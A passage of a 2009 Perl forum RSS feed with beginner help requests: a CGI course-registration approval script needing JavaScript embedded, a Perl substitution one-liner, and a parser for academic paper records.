&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcp = 'Y';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($mcp eq 'Y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchco.cgi?rollno=$mrollno&amp;semester=$psemester&amp;crseno=$pccrsearr[$k]&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;$pccrsearr[$k]&lt;/a&gt;&lt;/td&gt;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchco.cgi?rollno=$mrollno&amp;semester=$psemester&amp;crseno=$pccrsearr[$k]&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;NONE&lt;/a&gt;&lt;/td&gt;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;center&gt;-&lt;/center&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if($mecount &gt; -1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for $k(0..$mecount)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $metype = $petypearr[$k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mep = 'N';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select crseno from prergtmp where rollno = ? and ctype = ? and period = ?&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,$metype,$mperiod) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mep = 'Y';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mecrse = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($mep eq 'Y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchel.cgi?rollno=$mrollno&amp;semester=$psemester&amp;etype=$metype&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;$mecrse&lt;/a&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchel.cgi?rollno=$mrollno&amp;semester=$psemester&amp;etype=$metype&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;register&lt;/a&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;center&gt;-&lt;/center&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $miback='N';<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreach $backroll(@backarr)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($backroll eq $mrollno)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $miback = 'Y';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($miback eq 'Y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select crseno from prergtmp where rollno = ? and ctype = ? and period = ?&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,'BKLG',$mperiod) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mbstr = ' ';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($mbstr eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mbstr = $mbstr.$row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mbstr = $mbstr.'&lt;br&gt;'.$row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($mbstr ne ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchbk.cgi?rollno=$mrollno&amp;semester=$psemester&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;$mbstr&lt;/a&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchbk.cgi?rollno=$mrollno&amp;semester=$psemester&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;register&lt;/a&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;center&gt;-&lt;/center&gt;&lt;/td&gt;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select crseno from prergtmp where rollno = ? and ctype = ? and period = ?&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,'EXT1',$mperiod) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mxstr = ' ';<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mxstr = $mxstr.$row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,'EXT2',$mperiod) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($mxstr eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mxstr = $mxstr.$row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mxstr = $mxstr.'&lt;br&gt;'.$row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($mxstr ne ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchex.cgi?rollno=$mrollno&amp;semester=$psemester&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;$mxstr&lt;/a&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/slotchex.cgi?rollno=$mrollno&amp;semester=$psemester&amp;faccode=$pfaccode&amp;programme=$pprogramme&amp;deptcode=$pdeptcode&amp;brancode=$pbrancode target=workwind&gt;register&lt;/a&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;a href=/cgi-bin/oregn/regnform.cgi?rollno=$mrollno&amp;faccode=$pfaccode target=workwind&gt;view&lt;/a&gt;&lt;/td&gt;&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp;  <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;form action=/cgi-bin/oregn/regnappr.cgi method=post name=orderform&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;input type=hidden name=rollno value=$mrollno&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;input type=hidden name=faccode value=$pfaccode&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;input type=hidden name=programme value=$pprogramme&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;input type=hidden name=deptcode value=$pdeptcode&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;input type=hidden name=brancode value=$pbrancode&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;input type=hidden name=semester value=$psemester&gt;&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; #print &quot;&lt;td&gt;&lt;input type=checkbox name=chk value=$mrollno&gt;$mrollno&lt;/td&gt;&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($menrolled eq 'Y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;input type=submit value=Approved&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print &quot;&lt;td&gt;&lt;input type=checkbox name=$mrollno value=Approved checked&gt;&lt;/td&gt;&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;&lt;input type=submit value=Approve&gt;&lt;/td&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print &quot;&lt;td&gt;&lt;input type=checkbox&nbsp; name=$mrollno&nbsp; value=Approve&gt;&lt;/td&gt;&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; <br />
}<br />
print &quot;&lt;/tr&gt;&quot;;<br />
print &quot;&lt;/table&gt;&quot;;<br />
#print &quot;&lt;P&gt;&lt;INPUT type=submit value=Submit onclick=get_check_value()&gt;&quot;;<br />
#print &quot;&lt;INPUT type=reset value=Reset&gt;&lt;/P&gt;&quot;; <br />
print &quot;&lt;/form&gt;&quot;;<br />
print &quot;&lt;hr&gt;&quot;;</pre><br />
<br />
<br />
This is my <span style="font-weight:bold">Javascript Code.</span>I want to add this javascript code in the above coding( *.cgi program).Please help me out ,how to add this javascript in the above coding.what is the syntax?how to add ?<br />
<br />
 <pre style="margin:20px; line-height:13px">&lt;script type=&quot;text/javascript&quot;&gt;<br />
<br />
<br />
function get_check_value()<br />
{<br />
var c_value = &quot;&quot;;<br />
for (var i=0; i &lt; document.orderform.music.length; i++)<br />
&nbsp;  {<br />
&nbsp;  if (document.orderform.music[i].checked)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; c_value = c_value + document.orderform.music[i].value + &quot;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp;  }<br />
}<br />
<br />
<br />
&lt;/script&gt;</pre></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>santhanalakshmi</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232278.html</guid>
		</item>
		<item>
			<title>Perl One Liner: Replace {(</title>
			<link>http://www.daniweb.com/forums/thread232189.html</link>
			<pubDate>Thu, 22 Oct 2009 06:29:08 GMT</pubDate>
			<description><![CDATA[Hello! Good morning. I am a newbie to perl. Sorry for the "stupid" question.  
 
Need your help on a perl one liner. Can't figure out how to add into the line.  
 
Currently have the following line: perl -pi -e 's='\{"$Poly_Map"=\{"$Poly_Map"F= temp_list  
 
This to search something like:  
 
A1_0...]]></description>
			<content:encoded><![CDATA[<div>Hello! Good morning. I am a newbie to perl. Sorry for the &quot;stupid&quot; question. <br />
<br />
Need your help on a perl one liner. Can't figure out how to add into the line. <br />
<br />
Currently have the following line: perl -pi -e 's='\{&quot;$Poly_Map&quot;=\{&quot;$Poly_Map&quot;F= temp_list <br />
<br />
This to search something like: <br />
<br />
A1_0 {A1_0 size by 0.003 overunder} --&gt; turn into A1_0 {A1_0F size by 0.003 overunder} <br />
<br />
But what is the command to do the below (notice the extra bracket below): <br />
<br />
A1_0 {(A1_0 size by 0.003 overunder) size by 0.003 underover} --&gt; turn into A1_0 {(A1_0F size by 0.003 overunder) size by 0.003 underover} <br />
<br />
If I do like below, it will cause error. <br />
perl -pi -e 's='\{(&quot;$Poly_Map&quot;=\{(&quot;$Poly_Map&quot;F= temp_list <br />
<br />
Can anybody help? Thank you very much in advance.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>mf44</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232189.html</guid>
		</item>
		<item>
			<title>How to parse this confusing file</title>
			<link>http://www.daniweb.com/forums/thread232125.html</link>
			<pubDate>Thu, 22 Oct 2009 01:45:59 GMT</pubDate>
			<description>Hello friends , 
I need to parse some data from a file and arrange it in a certain file..however the file is so confusing and has such minute issues that it has really confused me now..can sumbody help. 
Thanks 
Aj 
I am attaching the main part of the input file which are causing me trouble. 
 
I...</description>
			<content:encoded><![CDATA[<div>Hello friends ,<br />
I need to parse some data from a file and arrange it in a certain file..however the file is so confusing and has such minute issues that it has really confused me now..can sumbody help.<br />
Thanks<br />
Aj<br />
I am attaching the main part of the input file which are causing me trouble.<br />
<br />
I am using this code :<br />
 <pre style="margin:20px; line-height:13px"> my @file1 =&lt;INFILE&gt;;<br />
&nbsp; &nbsp;  foreach $lines(@file1)<br />
&nbsp; &nbsp; &nbsp;  {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($i==3)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $i=1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;\\&quot;; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;\n&quot;;&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ($lines =~m/^\\/)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $i=$i+1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $lines=~s/\\//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;\n&quot;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($i==2) <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$lines&quot;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($lines =~m/^JASSS:|Date:|Title:/)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$lines&quot;;&nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; elsif ($lines =~m/^Author: &amp;&amp; ^Address:/)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print OUTFILE&quot;\n&quot;; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print OUTFILE&quot;$lines&quot;;&nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp;  elsif ($lines =~m/^Address:/)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print OUTFILE&quot;\n&quot;;&nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$lines&quot;;&nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chomp($lines);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print OUTFILE&quot;$lines&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }&nbsp; <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp;  close (INFILE);&nbsp;  <br />
&nbsp;close(OUTFILE);<br />
&nbsp;exit;</pre><br />
OUTPUT comes like this:<br />
ID: 1.1.2<br />
Date: 31 Jan 1998<br />
Title: Qualitative Modeling and Simulation of Socio-Economic Phenomena<br />
Author: Giorgio Brajnik<br />
Address: Dipartimento di Matematica e InformaticaUniversit&amp;agrave; di Udine	Udine	Italy	Italy	<br />
Author: Marji Lines<span style="color:red">{The author and address shouldn't come together, which doesn't come in this case but if i change the code to get the 2nd record correctly this gets disturbed </span><br />
Address: Dipartimento di Scienze StatisticheUniversit&amp;agrave; di Udine	Udine	Italy	33100	Italy	<br />
<br />
<br />
This paper describes an application of recently developed  qualitative reasoning techniques to complex, socio-economic  allocation problems.<br />
\<br />
ID: 2.3.3<br />
Date: 30 Jun 1999<br />
Title: Simulating Household Waste Management Behaviours<br />
Author: Peter Tucker<br />
Address: Environmental Initiatives GroupHigh Street	PAISLEY	PA1 2BE	United Kingdom	<br />
Author: Andrew Smith<br />
Address: Language Evolution and Computation Research UnitSchool of Philosophy	Psychology and Language Sciences	University of Edinburgh,<span style="color:Red">{I don't want a new line here  but if i change my code to get this correctly the 1st record gets disturbed</span><br />
Adam Ferguson Building, 40 George Square	EH8 9LL	Edinburgh, United Kingdom	<br />
<br />
The paper reports the outcome of research to demonstrate the proof of concept.<br />
<br />
<span style="color:Red">NOTE: {I would like to have an output which fulfills both the criteria.}</span></div>  <br /> <div style="padding:5px">     <fieldset class="fieldset"> <legend>Attached Files</legend> <table cellpadding="0" cellspacing="5" border="0"> <tr> <td><img class="inlineimg" src="http://www.daniweb.com/forums/images/attach/txt.gif" alt="File Type: txt" width="16" height="16" border="0" style="vertical-align:baseline" /></td> <td><a href="http://www.daniweb.com/forums/attachment.php?attachmentid=12244&amp;d=1256175501">id.txt</a> (3.1 KB)</td> </tr> </table> </fieldset>  </div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>ajay_p5</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread232125.html</guid>
		</item>
